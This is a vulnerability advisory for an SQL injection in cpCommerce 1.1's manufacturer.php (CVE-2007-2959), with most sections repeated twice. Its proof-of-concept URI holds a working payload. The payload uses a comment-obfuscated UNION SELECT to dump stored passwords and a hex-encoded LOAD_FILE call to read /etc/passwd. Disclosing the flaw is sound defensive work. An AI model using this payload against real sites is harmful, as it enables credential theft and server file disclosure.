CPCommerce Manufacturer.PHP SQL Injection Vulnerability
BID:24223
Info
CPCommerce Manufacturer.PHP SQL Injection Vulnerability
| Bugtraq ID: | 24223 |
| Class: | Input Validation Error |
| CVE: |
CVE-2007-2959 |
| Remote: | Yes |
| Local: | No |
| Published: | May 29 2007 12:00AM |
| Updated: | May 07 2015 05:37PM |
| Credit: | Laurent Gaffié is credited with the discovery of this vulnerability. |
| Vulnerable: |
cpCommerce cpCommerce 1.1 |
| Not Vulnerable: | |
Discussion
CPCommerce Manufacturer.PHP SQL Injection Vulnerability
cpCommerce is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
cpCommerce 1.1.0 is reported vulnerable; other versions may also be affected.
cpCommerce is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
cpCommerce 1.1.0 is reported vulnerable; other versions may also be affected.
Exploit / POC
CPCommerce Manufacturer.PHP SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/cpcommerce/manufacturer.php?id_manufacturer=-9/**/union/**/select/**/pass,LOAD_FILE(0x2F6574632F706173737764),0/**/from/**/cpAccounts/*
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/cpcommerce/manufacturer.php?id_manufacturer=-9/**/union/**/select/**/pass,LOAD_FILE(0x2F6574632F706173737764),0/**/from/**/cpAccounts/*
Solution / Fix
CPCommerce Manufacturer.PHP SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
CPCommerce Manufacturer.PHP SQL Injection Vulnerability
References:
References:
- cpCommerce Homepage (cpCommerce)
- cpcommerce < v1.1.0 [sql injection] (Laurent Gaffié)